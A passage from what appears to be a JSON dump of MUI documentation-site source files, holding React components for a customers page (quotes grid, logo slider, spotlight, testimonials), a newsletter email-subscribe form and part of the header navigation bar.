`radial-gradient(#131C23 1.8px, transparent 1.8px) 0% 50% / 22px 22px repeat,\n                linear-gradient(180deg, #131C23 5%, #15181A 20%)`\n              : undefined,\n        }),\n        gap: 2,\n      })}\n    >\n      <div>{profile.company}</div>\n      <Box\n        sx={{\n          display: 'flex',\n          flexDirection: 'column',\n          gap: 2,\n        }}\n      >\n        <Typography\n          variant=\"body1\"\n          sx={{\n            width: '100%',\n          }}\n        >\n          {quote}\n        </Typography>\n        <Box\n          sx={{\n            display: 'flex',\n            flexDirection: 'row',\n            justifyContent: 'space-between',\n            alignItems: 'center',\n            gap: 2,\n          }}\n        >\n          <div>\n            <Typography variant=\"body2\" sx={{ fontWeight: 'medium' }}>\n              {profile.name}\n            </Typography>\n            <Typography variant=\"body2\">{profile.role}</Typography>\n          </div>\n          <Avatar\n            src={profile.avatarSrc}\n            srcSet={profile.avatarSrcSet}\n            sx={{\n              boxShadow: 1,\n              width: { xs: 40, md: isFirstColumn || isLastColumn ? 48 : 40 },\n              height: { xs: 40, md: isFirstColumn || isLastColumn ? 48 : 40 },\n            }}\n            alt={`${profile.name}'s profile picture`}\n          />\n        </Box>\n      </Box>\n    </Box>\n  );\n}\n\nexport default function CustomerQuotes() {\n  return (\n    <Box\n      sx={{\n        display: 'grid',\n        gap: '1px',\n        gridTemplateColumns: {\n          xs: '1fr',\n          sm: '1fr 1fr',\n          md: '3fr 3fr 3fr',\n        },\n        gridTemplateRows: {\n          xs: 'auto',\n          sm: 'auto',\n          md: '50% 50%',\n        },\n        gridTemplateAreas: {\n          xs: `\n            'one'\n            'two'\n            'three'\n            'four'\n          `,\n          sm: `\n            'one two'\n            'three four'\n          `,\n          md: `\n            'one two four'\n            'one three four'\n          `,\n        },\n        borderRadius: '10px',\n        overflow: 'hidden',\n        border: '1px solid',\n        borderColor: 'divider',\n        backgroundColor: 'divider',\n      }}\n    >\n      {QUOTES.map((item) => (\n        <Box key={item.profile.name} sx={{ gridArea: item.profile.gridArea }}>\n          <Data {...item} />\n        </Box>\n      ))}\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/customers/CustomersCTA.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\nimport GradientText from 'docs/src/components/typography/GradientText';\nimport GetStartedButtons from 'docs/src/components/home/GetStartedButtons';\n\nexport default function CustomersCTA() {\n  return (\n    <Box\n      sx={{ display: 'flex', flexDirection: 'column', alignItems: { xs: 'auto', sm: 'center' } }}\n    >\n      <SectionHeadline\n        alwaysCenter\n        overline=\"Explore our advanced components\"\n        title={\n          <Typography variant=\"h2\">\n            Get started <GradientText>today</GradientText>\n          </Typography>\n        }\n        description=\"Our advanced components are available with free and commercial licenses. Try them out and see how they can help you improve your UI-building experience.\"\n      />\n      <GetStartedButtons primaryLabel=\"Explore MUI X\" primaryUrl=\"/x/\" />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/customers/CustomersHero.tsx",
    "content": "import Section from 'docs/src/layouts/Section';\nimport * as React from 'react';\nimport Typography from '@mui/material/Typography';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\nimport GradientText from '../typography/GradientText';\n\nexport default function CustomersHero() {\n  return (\n    <Section cozy noPaddingBottom>\n      <SectionHeadline\n        alwaysCenter\n        overline=\"Customers\"\n        title={\n          <Typography variant=\"h2\" component=\"h1\" sx={{ mb: 2 }}>\n            Meet the <GradientText color=\"primary\">teams</GradientText>\n            <br />\n            powered by <GradientText color=\"primary\">MUI</GradientText>\n          </Typography>\n        }\n        description=\"See how MUI's comprehensive suite of UI tools helps them ship better and faster.\"\n      />\n    </Section>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/customers/CustomersHeroEnd.tsx",
    "content": "import dynamic from 'next/dynamic';\nimport { useInView } from 'react-intersection-observer';\nimport Box from '@mui/material/Box';\nimport { alpha } from '@mui/material/styles';\nimport Section from 'docs/src/layouts/Section';\n\nfunction Placeholder() {\n  return (\n    <Box\n      sx={{\n        height: {\n          xs: 202,\n          sm: 180,\n          md: 193,\n        },\n      }}\n    />\n  );\n}\nconst CustomersCTA = dynamic(() => import('./CustomersCTA'), { loading: Placeholder });\n\nexport default function CustomersHeroEnd() {\n  const { ref, inView } = useInView({\n    triggerOnce: true,\n    threshold: 0,\n    rootMargin: '500px',\n  });\n  return (\n    <Box\n      ref={ref}\n      sx={(theme) => ({\n        background: `linear-gradient(180deg, #FFF 50%, ${(theme.vars || theme).palette.primary[50]} 100%)`,\n        ...theme.applyDarkStyles({\n          background: `linear-gradient(180deg, ${\n            (theme.vars || theme).palette.primaryDark[900]\n          } 50%, ${alpha(theme.palette.primary[900], 0.2)} 100%)`,\n        }),\n      })}\n    >\n      <Section bg=\"transparent\" cozy>\n        {inView ? <CustomersCTA /> : <Placeholder />}\n      </Section>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/customers/CustomersLogoSlider.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Container from '@mui/material/Container';\nimport { keyframes } from '@mui/material/styles';\n\ninterface CustomerLogo {\n  name: string;\n  lightLogo: string;\n}\n\ninterface CustomersLogoSliderProps {\n  logos?: CustomerLogo[];\n}\n\nconst scroll = keyframes`\n  from { transform: translateX(0); }\n  to { transform: translateX(-100%); }\n`;\n\nconst defaultCustomerLogos: CustomerLogo[] = [\n  { name: 'Spotify', lightLogo: '/static/branding/companies/slider/spotify.png' },\n  { name: 'Amazon', lightLogo: '/static/branding/companies/slider/amazon.png' },\n  { name: 'Netflix', lightLogo: '/static/branding/companies/slider/netflix.png' },\n  { name: 'Unity', lightLogo: '/static/branding/companies/slider/unity.png' },\n  { name: 'AT&T', lightLogo: '/static/branding/companies/slider/atnt.png' },\n  { name: 'Tesla', lightLogo: '/static/branding/companies/slider/tesla.png' },\n  { name: 'Samsung', lightLogo: '/static/branding/companies/slider/samsung.png' },\n  { name: 'Verizon', lightLogo: '/static/branding/companies/slider/verizon.png' },\n  { name: 'Shutterstock', lightLogo: '/static/branding/companies/slider/shutterstock.png' },\n  { name: 'Apple', lightLogo: '/static/branding/companies/slider/apple.png' },\n  { name: 'Volvo', lightLogo: '/static/branding/companies/slider/volvo.png' },\n  { name: 'NASA', lightLogo: '/static/branding/companies/slider/nasa.png' },\n  { name: 'Deloitte', lightLogo: '/static/branding/companies/slider/deloitte.png' },\n];\n\nexport default function CustomersLogoSlider({\n  logos = defaultCustomerLogos,\n}: CustomersLogoSliderProps) {\n  React.useEffect(() => {\n    logos.forEach((logo) => {\n      const img = new Image();\n      img.src = logo.lightLogo;\n    });\n  }, [logos]);\n\n  const logoWidth = 150;\n  const gapSize = 24;\n  const totalWidth = logos.length * (logoWidth + gapSize);\n\n  return (\n    <Container\n      sx={{\n        p: 0,\n        mb: 2,\n      }}\n    >\n      <Box\n        sx={{\n          overflow: 'hidden',\n          maskImage: 'linear-gradient(to right, transparent, black 10%, black 90%, transparent)',\n          WebkitMaskImage:\n            'linear-gradient(to right, transparent, black 10%, black 90%, transparent)',\n          '&:hover .marquee-content': {\n            animationPlayState: 'paused',\n          },\n        }}\n      >\n        <Box\n          sx={{\n            display: 'flex',\n            width: `${totalWidth * 2}px`,\n            height: '130px',\n          }}\n        >\n          <Box\n            className=\"marquee-content\"\n            sx={{\n              display: 'flex',\n              alignItems: 'center',\n              animation: {\n                xs: `${scroll} 25s linear infinite`,\n                sm: `${scroll} 35s linear infinite`,\n                md: `${scroll} 50s linear infinite`,\n              },\n              width: `${totalWidth}px`,\n              flexShrink: 0,\n              willChange: 'transform',\n            }}\n          >\n            {logos.map((logo, index) => (\n              <Box\n                key={`first-${logo.name}-${index}`}\n                component=\"img\"\n                loading=\"eager\"\n                alt={`${logo.name} logo`}\n                src={logo.lightLogo}\n                sx={(theme) => ({\n                  height: { xs: 42, sm: 50, md: 70 },\n                  width: '150px',\n                  objectFit: 'contain',\n                  opacity: 0.7,\n                  transition: 'opacity 0.3s ease-in-out, filter 0.3s ease-in-out',\n                  flexShrink: 0,\n                  marginRight: 3,\n                  filter: 'none',\n                  backfaceVisibility: 'hidden',\n                  ...theme.applyDarkStyles({\n                    filter:\n                      'brightness(0) saturate(100%) invert(93%) sepia(7%) saturate(0%) hue-rotate(84deg) brightness(104%) contrast(111%)',\n                  }),\n                  '&:hover': {\n                    opacity: 1,\n                  },\n                })}\n              />\n            ))}\n          </Box>\n          <Box\n            className=\"marquee-content\"\n            sx={{\n              display: 'flex',\n              alignItems: 'center',\n              animation: {\n                xs: `${scroll} 25s linear infinite`,\n                sm: `${scroll} 35s linear infinite`,\n                md: `${scroll} 50s linear infinite`,\n              },\n              width: `${totalWidth}px`,\n              flexShrink: 0,\n              willChange: 'transform',\n            }}\n          >\n            {logos.map((logo, index) => (\n              <Box\n                key={`second-${logo.name}-${index}`}\n                component=\"img\"\n                loading=\"eager\"\n                alt={`${logo.name} logo`}\n                src={logo.lightLogo}\n                sx={(theme) => ({\n                  height: { xs: 42, sm: 50, md: 70 },\n                  width: '150px',\n                  objectFit: 'contain',\n                  opacity: 0.7,\n                  transition: 'opacity 0.3s ease-in-out, filter 0.3s ease-in-out',\n                  flexShrink: 0,\n                  marginRight: 3,\n                  filter: 'none',\n                  backfaceVisibility: 'hidden',\n                  ...theme.applyDarkStyles({\n                    filter:\n                      'brightness(0) saturate(100%) invert(93%) sepia(7%) saturate(0%) hue-rotate(84deg) brightness(104%) contrast(111%)',\n                  }),\n                  '&:hover': {\n                    opacity: 1,\n                  },\n                })}\n              />\n            ))}\n          </Box>\n        </Box>\n      </Box>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/customers/CustomersSpotlight.tsx",
    "content": "import * as React from 'react';\nimport { BlogPost } from 'docs/lib/sourcing';\nimport Button from '@mui/material/Button';\nimport ArrowForwardIcon from '@mui/icons-material/ArrowForward';\nimport { Link } from '@mui/docs/Link';\nimport Container from '@mui/material/Container';\nimport Paper from '@mui/material/Paper';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport { useTheme } from '@mui/material/styles';\nimport useMediaQuery from '@mui/material/useMediaQuery';\n\ninterface SpotlightProps {\n  posts: BlogPost[];\n  variant?: 'primary' | 'secondary';\n}\n\nfunction Spotlight({ posts, variant = 'primary' }: SpotlightProps) {\n  React.useEffect(() => {\n    posts.forEach((post) => {\n      if (post.image) {\n        const img = new Image();\n        img.src = post.image;\n      }\n    });\n  }, [posts]);\n\n  return (\n    <Container>\n      <Box\n        component=\"ul\"\n        sx={{\n          display: 'grid',\n          mt: variant === 'secondary' ? 1 : 0,\n          mb: variant === 'primary' ? 0 : 0,\n          p: 0,\n          gap: 2,\n          gridTemplateColumns:\n            variant === 'primary'\n              ? 'repeat(auto-fit, minmax(300px, 1fr))'\n              : 'repeat(auto-fit, minmax(200px, 1fr))',\n          maxWidth: '100%',\n        }}\n      >\n        {posts.map((post, index) => (\n          <Paper\n            key={index}\n            component={Link}\n            href={`/customers/${post.slug}`}\n            variant=\"outlined\"\n            sx={(t) => ({\n              py: variant === 'primary' ? 3 : 2,\n              px: variant === 'primary' ? 4 : 2,\n              minHeight: variant === 'primary' ? '220px' : '150px',\n              display: 'flex',\n              alignItems: 'start',\n              flexDirection: 'column',\n              position: 'relative',\n              backgroundImage: (t.vars || t).palette.gradients.linearSubtle,\n              textDecoration: 'none',\n              color: 'inherit',\n              cursor: 'pointer',\n              transition: 'all 0.3s cubic-bezier(0.4, 0, 0.2, 1)',\n              overflow: 'hidden',\n              '&:hover': {\n                backgroundImage: (t.vars || t).palette.gradients.radioSubtle,\n              },\n            })}\n          >\n            {post.image && (\n              <Box\n                component=\"img\"\n                alt=\"Company logo\"\n                src={post.image}\n                sx={(theme) => ({\n                  position: variant === 'primary' ? 'absolute' : 'relative',\n                  top: variant === 'primary' ? 30 : 'auto',\n                  left: variant === 'primary' ? 30 : 'auto',\n                  alignSelf: variant === 'secondary' ? 'center' : 'auto',\n                  mt: variant === 'secondary' ? 3 : 0,\n                  mb: variant === 'secondary' ? 'auto' : 0,\n                  maxWidth: '100%',\n                  maxHeight: '50px',\n                  width: 'auto',\n                  zIndex: 1,\n                  filter: 'brightness(0) saturate(100%)',\n                  ...theme.applyDarkStyles({\n                    filter:\n                      'brightness(0) saturate(100%) invert(93%) sepia(7%) saturate(0%) hue-rotate(84deg) brightness(104%) contrast(111%)',\n                  }),\n                })}\n              />\n            )}\n            {variant === 'primary' && (\n              <Box\n                sx={{\n                  display: 'flex',\n                  flexDirection: 'column',\n                  alignItems: 'flex-start',\n                  mt: 10,\n                  gap: 2,\n                }}\n              >\n                <Typography\n                  variant=\"h2\"\n                  sx={{\n                    color: 'text.primary',\n                    textAlign: 'left',\n                    lineHeight: 1.2,\n                    fontSize: '1.2rem',\n                  }}\n                >\n                  {post.description}\n                </Typography>\n                <Button\n                  endIcon={<ArrowForwardIcon />}\n                  size=\"small\"\n                  sx={{\n                    position: 'absolute',\n                    bottom: 20,\n                    ml: -1,\n                    pt: 2,\n                    pointerEvents: 'none',\n                    color: 'primary.main',\n                    alignSelf: 'flex-start',\n                    textAlign: 'left',\n                    fontWeight: 'bold',\n                  }}\n                >\n                  Read story\n                </Button>\n              </Box>\n            )}\n            {variant === 'secondary' && (\n              <Button\n                size=\"small\"\n                sx={{\n                  ml: -1,\n                  mb: 1,\n                  pointerEvents: 'none',\n                  color: 'primary.main',\n                  alignSelf: 'center',\n                  fontWeight: 'bold',\n                }}\n              >\n                Read story\n              </Button>\n            )}\n          </Paper>\n        ))}\n      </Box>\n    </Container>\n  );\n}\n\ninterface CustomersSpotlightProps {\n  customers: BlogPost[];\n}\n\nexport default function CustomersSpotlight({ customers }: CustomersSpotlightProps) {\n  const theme = useTheme();\n  const isTablet = useMediaQuery(theme.breakpoints.between('sm', 'md'));\n\n  // Sort customers by rank and split into first 3 and the rest\n  const sortedCustomers = [...customers].sort((a, b) => {\n    const rankA = parseInt(a.rank || '99', 10);\n    const rankB = parseInt(b.rank || '99', 10);\n    return rankA - rankB;\n  });\n  const firstPosts = sortedCustomers.slice(0, 2);\n  const secondPosts = sortedCustomers.slice(2, 4);\n  const restPosts = sortedCustomers.slice(4, isTablet ? 7 : 8);\n\n  return (\n    <React.Fragment>\n      <Spotlight posts={firstPosts} variant=\"primary\" />\n      <Spotlight posts={secondPosts} variant=\"primary\" />\n      <Spotlight posts={restPosts} variant=\"secondary\" />\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/customers/CustomersTestimonials.tsx",
    "content": "import * as React from 'react';\nimport Typography from 'docs/src/pages/premium-themes/onepirate/modules/components/Typography';\nimport dynamic from 'next/dynamic';\nimport Box from '@mui/material/Box';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\nimport GradientText from '../typography/GradientText';\n\nconst CustomerQuotes = dynamic(() => import('./CustomerQuotes'));\n\nexport default function CustomersTestimonials() {\n  return (\n    <Box\n      sx={{\n        display: 'grid',\n        m: 0,\n        my: { xs: 6, sm: 6, md: 8, lg: 8 },\n        px: { xs: 2, sm: 4, md: 8, lg: 12 },\n        gap: 2,\n        maxWidth: '1350px',\n        mx: 'auto',\n      }}\n    >\n      <SectionHeadline\n        alwaysCenter\n        overline=\"What people say\"\n        title={\n          <Typography variant=\"h2\" component=\"h2\">\n            Trusted by\n            <GradientText>&nbsp;the best&nbsp;</GradientText>\n            in the game\n          </Typography>\n        }\n        description=\"The world's best product teams trust MUI to deliver an unrivaled experience for both developers and users.\"\n      />\n      <CustomerQuotes />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/footer/EmailSubscribe.tsx",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme, styled, alpha } from '@mui/material/styles';\nimport Alert from '@mui/material/Alert';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport FormLabel from '@mui/material/FormLabel';\nimport FormHelperText from '@mui/material/FormHelperText';\nimport InputBase, { inputBaseClasses } from '@mui/material/InputBase';\nimport CheckCircleRoundedIcon from '@mui/icons-material/CheckCircleRounded';\n\nconst NEWSLETTER_SUBSCRIBE_URL =\n  process.env.DEPLOY_ENV === 'production' || process.env.DEPLOY_ENV === 'staging'\n    ? 'https://f0433e60.sibforms.com/serve/MUIEAHEhgYhMvLAw0tycwk1BQaIB-q0akob3JdtDBmHLhSR-jLheJ2T44LFCz27alz9wq_Nkdz9EK7Y8hzM1vQND9kTFyKkkhTIbEzXaH5d-_S9Fw4PXS1zAK8efPY6nhCdoAop1SKTeZ_GAPW5S0xBFQRLUGYbvvRgE4Q2Ki_f1KjbiCqaRuzmj_I3SD1r0CoR4INmK3CLtF4kF'\n    : 'https://f0433e60.sibforms.com/serve/MUIEAE9LexIU5u5hYkoDJ-Mc379-irLHNIlGEgCm5njkAwg6OYFfNQTd25n4SO6vJom9WvQ89GJ0sYBzFYswLRewcOvD_dRtoFycXIObP8SMm-kNO1CdXKaWEZutrfqMKygHb1Je1QBGrMUnJg8J5qVeCwa7rSPBN0A1_6Ug3SiGjgIlbiCcMVA4KbhaYTiBvKkaejlCjgZcLHBT';\n\nconst Form = styled('form')({});\n\nfunction searchParams(params: any) {\n  return Object.keys(params)\n    .filter((key) => params[key] != null)\n    .map((key) => `${encodeURIComponent(key)}=${encodeURIComponent(params[key])}`)\n    .join('&');\n}\n\nexport default function EmailSubscribe({ sx }: { sx?: SxProps<Theme> }) {\n  const [form, setForm] = React.useState<{\n    email: string;\n    status: 'initial' | 'loading' | 'failure' | 'sent';\n  }>({\n    email: '',\n    status: 'initial',\n  });\n  const handleSubmit = async (event: React.FormEvent<HTMLFormElement>) => {\n    event.preventDefault();\n    setForm((current) => ({ ...current, status: 'loading' }));\n    try {\n      await fetch(NEWSLETTER_SUBSCRIBE_URL, {\n        method: 'POST',\n        headers: {\n          'Content-Type': 'application/x-www-form-urlencoded',\n        },\n        mode: 'no-cors',\n        body: searchParams({\n          EMAIL: form.email,\n          email_address_check: '',\n          locale: 'en',\n        }),\n      });\n      setForm((current) => ({ ...current, status: 'sent' }));\n    } catch (error) {\n      setForm((current) => ({ ...current, status: 'failure' }));\n    }\n  };\n  if (form.status === 'sent') {\n    return (\n      <Alert\n        icon={<CheckCircleRoundedIcon fontSize=\"small\" />}\n        severity=\"success\"\n        sx={[\n          (theme) => ({\n            fontWeight: 'medium',\n            bgcolor: 'success.50',\n            border: '1px solid',\n            borderColor: 'success.200',\n            color: 'success.900',\n            ...theme.applyDarkStyles({\n              color: 'success.200',\n              bgcolor: alpha(theme.palette.success[700], 0.1),\n              borderColor: alpha(theme.palette.success[600], 0.3),\n            }),\n          }),\n        ]}\n      >\n        Go to your email and open the <strong>confirmation email</strong> to confirm your\n        subscription.\n      </Alert>\n    );\n  }\n  return (\n    <Form onSubmit={handleSubmit} sx={sx}>\n      <FormLabel\n        htmlFor=\"email-subscribe\"\n        sx={{ typography: 'caption', color: 'text.secondary', fontWeight: 'medium' }}\n      >\n        Your email\n      </FormLabel>\n      <Box\n        sx={{\n          mt: 1,\n          width: { xs: '100%', sm: 'auto' },\n          maxWidth: { xs: '100%', sm: 320 },\n          display: 'flex',\n          flexDirection: { xs: 'column', sm: 'row' },\n          gap: 1,\n        }}\n      >\n        <InputBase\n          id=\"email-subscribe\"\n          name=\"email\"\n          type=\"email\"\n          placeholder=\"example@email.com\"\n          autoComplete=\"email\"\n          value={form.email}\n          onChange={(event) => setForm({ email: event.target.value, status: 'initial' })}\n          inputProps={{ required: true }}\n          sx={[\n            (theme) => ({\n              typography: 'body1',\n              flexGrow: 1,\n              minWidth: 220,\n              borderRadius: '10px',\n              border: '1px solid',\n              borderColor: 'grey.300',\n              bgcolor: '#FFF',\n              boxShadow: `inset 0 1px 2px ${\n                (theme.vars || theme).palette.grey[50]\n              }, 0 2px .5px ${alpha(theme.palette.grey[100], 0.5)}`,\n              '&:hover': {\n                borderColor: 'grey.400',\n                boxShadow: `inset 0 1px 2px ${(theme.vars || theme).palette.grey[100]}`,\n              },\n              [`&.${inputBaseClasses.focused}`]: {\n                boxShadow: `0 0 0 3px ${alpha(theme.palette.primary[500], 0.5)}`,\n                borderColor: 'primary.500',\n              },\n              [`& .${inputBaseClasses.input}`]: {\n                borderRadius: theme.shape.borderRadius,\n                px: 1,\n              },\n            }),\n            (theme) =>\n              theme.applyDarkStyles({\n                bgcolor: 'primaryDark.800',\n                borderColor: alpha(theme.palette.primaryDark[600], 0.8),\n                boxShadow: `inset 0 1px 1px ${\n                  (theme.vars || theme).palette.primaryDark[900]\n                }, 0 2px .5px ${(theme.vars || theme).palette.common.black}`,\n                '&:hover': {\n                  borderColor: 'primaryDark.500',\n                  boxShadow: `inset 0 1px 2px ${(theme.vars || theme).palette.common.black}`,\n                },\n                [`&.${inputBaseClasses.focused}`]: {\n                  borderColor: 'primary.400',\n                },\n              }),\n          ]}\n        />\n        <Button variant=\"outlined\" size=\"small\" disabled={form.status === 'loading'} type=\"submit\">\n          Subscribe\n        </Button>\n      </Box>\n      {form.status === 'failure' && (\n        <FormHelperText\n          sx={(theme) => ({\n            mt: 1,\n            fontWeight: 'semiBold',\n            color: 'error.700',\n            ...theme.applyDarkStyles({\n              color: 'error.400',\n            }),\n          })}\n        >\n          Oops! Something went wrong, please try again later.\n        </FormHelperText>\n      )}\n    </Form>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/header/HeaderNavBar.tsx",
    "content": "/* eslint-disable jsx-a11y/no-noninteractive-element-interactions */\nimport * as React from 'react';\nimport { styled, alpha } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport ButtonBase from '@mui/material/ButtonBase';\nimport Popper from '@mui/material/Popper';\nimport Paper from '@mui/material/Paper';\nimport { unstable_debounce as debounce } from '@mui/utils';\nimport Fade from '@mui/material/Fade';\nimport Typography from '@mui/material/Typography';\nimport IconImage from '@mui/docs/IconImage';\nimport ROUTES from 'docs/src/route';\nimport { Link } from '@mui/docs/Link';\nimport MuiProductSelector from 'docs/src/modules/components/MuiProductSelector';\n\nconst Navigation = styled('nav')(({ theme }) => [\n  {\n    '& > div': {\n      cursor: 'default',\n    },\n    '& ul': {\n      padding: 0,\n      margin: 0,\n      listStyle: 'none',\n      display: 'flex',\n    },\n    '& li': {\n      ...theme.typography.body2,\n      color: (theme.vars || theme).palette.text.secondary,\n      fontWeight: theme.typography.fontWeightSemiBold,\n      '& > a, & > button': {\n        display: 'inline-block',\n        color: 'inherit',\n        font: 'inherit',\n        textDecoration: 'none',\n        padding: theme.spacing('6px', '8px'),\n        borderRadius: (theme.vars || theme).shape.borderRadius,\n        border: '1px solid transparent',\n        '&:hover': {\n          color: (theme.vars || theme).palette.text.primary,\n          backgroundColor: (theme.vars || theme).palette.grey[50],\n          borderColor: (theme.vars || theme).palette.grey[100],\n          '@media (hover: none)': {\n            backgroundColor: 'initial',\n            // Reset on touch devices, it doesn't add specificity\n          },\n        },\n        '&:focus-visible': {\n          outline: `3px solid ${alpha(theme.palette.primary[500], 0.5)}`,\n          outlineOffset: '2px',\n        },\n      },\n    },\n  },\n  theme.applyDarkStyles({\n    '& li': {\n      '& > a, & > button': {\n        '&:hover': {\n          color: (theme.vars || theme).palette.primary[50],\n          backgroundColor: alpha(theme.palette.primaryDark[700], 0.8),\n          borderColor: (theme.vars || theme).palette.divider,\n        },\n      },\n    },\n  }),\n]);\n\nconst PRODUCT_IDS = [\n  'product-core',\n  'product-advanced',\n  'product-templates',\n  'product-design',\n] as const;\n\ntype ProductSubMenuProps = {\n  icon: React.ReactElement<unknown>;\n  name: React.ReactNode;\n  description: React.ReactNode;\n  chip?: React.ReactNode;\n  href: string;\n} & Omit<React.JSX.IntrinsicElements['a'], 'ref'>;\n\nconst ProductSubMenu = React.forwardRef<HTMLAnchorElement, ProductSubMenuProps>(\n  function ProductSubMenu({ icon, name, description, chip, href, ...props }, ref) {\n    return (\n      <Box\n        component={Link}\n        href={href}\n        ref={ref}\n        sx={(theme) => ({\n          display: 'flex',\n          alignItems: 'center',\n          py: 2,\n          pr: 3,\n          '&:hover, &:focus': {\n            backgroundColor: (theme.vars || theme).palette.grey[50],\n            outline: 0,\n            '@media (hover: none)': {\n              backgroundColor: 'initial',\n              outline: 'initial',\n            },\n          },\n          ...theme.applyDarkStyles({\n            '&:hover, &:focus': {\n              backgroundColor: alpha(theme.palette.primaryDark[700], 0.4),\n            },\n          }),\n        })}\n        {...props}\n      >\n        <Box sx={{ px: 2 }}>{icon}</Box>\n        <div style={{ flexGrow: 1 }}>\n          <div\n            style={{\n              display: 'flex',\n              flexDirection: 'row',\n              alignItems: 'center',\n              gap: '0.5rem',\n            }}\n          >\n            <Typography variant=\"body2\" sx={{ color: 'text.primary', fontWeight: 'bold' }}>\n              {name}\n            </Typography>\n            {chip}\n          </div>\n          <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n            {description}\n          </Typography>\n        </div>\n      </Box>\n    );\n  },\n);\n\nexport default function HeaderNavBar() {\n  const [subMenuOpen, setSubMenuOpen] = React.useState<null | 'products' | 'docs'>(null);\n  const [subMenuIndex, setSubMenuIndex] = React.useState<number | null>(null);\n  const navRef = React.useRef<HTMLUListElement>(null);\n  const productSelectorRef = React.useRef<HTMLDivElement>(null);\n  const productsMenuRef = React.useRef<HTMLButtonElement>(null);\n  const docsMenuRef = React.useRef<HTMLButtonElement>(null);\n\n  React.useEffect(() => {\n    if (typeof subMenuIndex === 'number' && subMenuOpen === 'products') {\n      document.getElementById(PRODUCT_IDS[subMenuIndex])!.focus();\n    }\n\n    if (typeof subMenuIndex === 'number' && subMenuOpen === 'docs') {\n      (productSelectorRef.current!.querySelector('[role=\"menuitem\"]') as HTMLElement).focus();\n    }\n  }, [subMenuIndex, subMenuOpen]);\n\n  function handleKeyDown(event: React.KeyboardEvent) {\n    let menuItem;\n\n    if (subMenuOpen === 'products') {\n      menuItem = productsMenuRef.current!;\n    } else if (subMenuOpen === 'docs') {\n      menuItem = docsMenuRef.current!;\n    } else {\n      return;\n    }\n\n    if (event.key === 'ArrowDown') {\n      event.preventDefault();\n      if (subMenuOpen === 'products') {\n        setSubMenuIndex((prevValue) => {\n          if (prevValue === null) {\n            return 0;\n          }\n          if (prevValue === PRODUCT_IDS.length - 1) {\n            return 0;\n          }\n          return prevValue + 1;\n        });\n      } else if (subMenuOpen === 'docs') {\n        setSubMenuIndex(0);\n      }\n    } else if (event.key === 'ArrowUp') {\n      event.preventDefault();\n      if (subMenuOpen === 'products') {\n        setSubMenuIndex((prevValue) => {\n          if (prevValue === null) {\n            return 0;\n          }\n          if (prevValue === 0) {\n            return PRODUCT_IDS.length - 1;\n          }\n          return prevValue - 1;\n        });\n      } else if (subMenuOpen === 'docs') {\n        setSubMenuIndex(0);\n      }\n    } else if (event.key === 'Escape' || event.key === 'Tab') {\n      menuItem.focus();\n      setSubMenuOpen(null);\n      setSubMenuIndex(null);\n    }\n  }\n\n  const setSubMenuOpenDebounced = React.useMemo(\n    () => debounce(setSubMenuOpen, 40),\n    [setSubMenuOpen],\n  );\n\n  const setSubMenuOpenUndebounce =\n    (value: typeof subMenuOpen) => (event: React.MouseEvent | React.FocusEvent) => {\n      setSubMenuOpenDebounced.clear();\n      setSubMenuOpen(value);\n\n      if (event.type === 'mouseenter') {\n        // Reset keyboard\n        setSubMenuIndex(null);\n      }\n    };\n\n  const handleClickMenu = (value: typeof subMenuOpen) => () => {\n    setSubMenuOpenDebounced.clear();\n    setSubMenuOpen(subMenuOpen ? null : value);\n  };\n\n  React.useEffect(() => {\n    return () => {\n      setSubMenuOpenDebounced.clear();\n    };\n  }, [setSubMenuOpenDebounced]);\n\n  return (\n    <Navigation>\n      <ul ref={navRef} onKeyDown={handleKeyDown}>\n        <li\n          onMouseEnter={setSubMenuOpenUndebounce('products')}\n          onFocus={setSubMenuOpenUndebounce('products')}\n          onMouseLeave={() => setSubMenuOpenDebounced(null)}\n          onBlur={setSubMenuOpenUndebounce(null)}\n        >\n          <ButtonBase\n            ref={productsMenuRef}\n            aria-haspopup\n            aria-expanded={subMenuOpen === 'products' ? 'true' : 'false'}\n            onClick={handleClickMenu('products')}\n            aria-controls={subMenuOpen === 'products' ? 'products-popper' : undefined}\n          >\n            Products\n          </ButtonBase>\n          <Popper\n            id=\"products-popper\"\n            open={subMenuOpen === 'products'}\n            anchorEl={productsMenuRef.current}\n            transition\n            placement=\"bottom-start\"\n            style={{\n              zIndex: 1200,\n              pointerEvents: subMenuOpen === 'products' ? undefined : 'none',\n            }}\n          >\n            {({ TransitionProps }) => (\n              <Fade {...TransitionProps} timeout={250}>\n                <Paper\n                  variant=\"outlined\"\n                  sx={(theme) => ({\n                    mt: 1,\n                    minWidth: 498,\n                    overflow: 'hidden',\n                    borderColor: 'grey.200',\n                    bgcolor: 'background.paper',\n                    boxShadow: `0px 4px 16px ${alpha(theme.palette.grey[200], 0.8)}`,\n                    '& ul': {\n                      margin: 0,\n                      padding: 0,\n                      listStyle: 'none',\n                    },\n                    '& li:not(:last-of-type)': {\n                      borderBottom: '1px solid',\n                      borderColor: 'grey.100',\n                    },\n                    '& a': { textDecoration: 'none' },\n                    ...theme.applyDarkStyles({\n                      borderColor: 'primaryDark.700',\n                      bgcolor: 'primaryDark.900',\n                      boxShadow: `0px 4px 16px ${alpha(theme.palette.common.black, 0.8)}`,\n                      '& li:not(:last-of-type)': {\n                        borderColor: 'primaryDark.700',\n                      },\n                    }),\n                  })}\n                >\n                  <ul>\n                    <li>\n                      <ProductSubMenu\n                        id={PRODUCT_IDS[0]}\n                        href={ROUTES.productCore}\n                        icon={<IconImage name=\"product-core\" />}\n                        name=\"MUI Core\"\n                       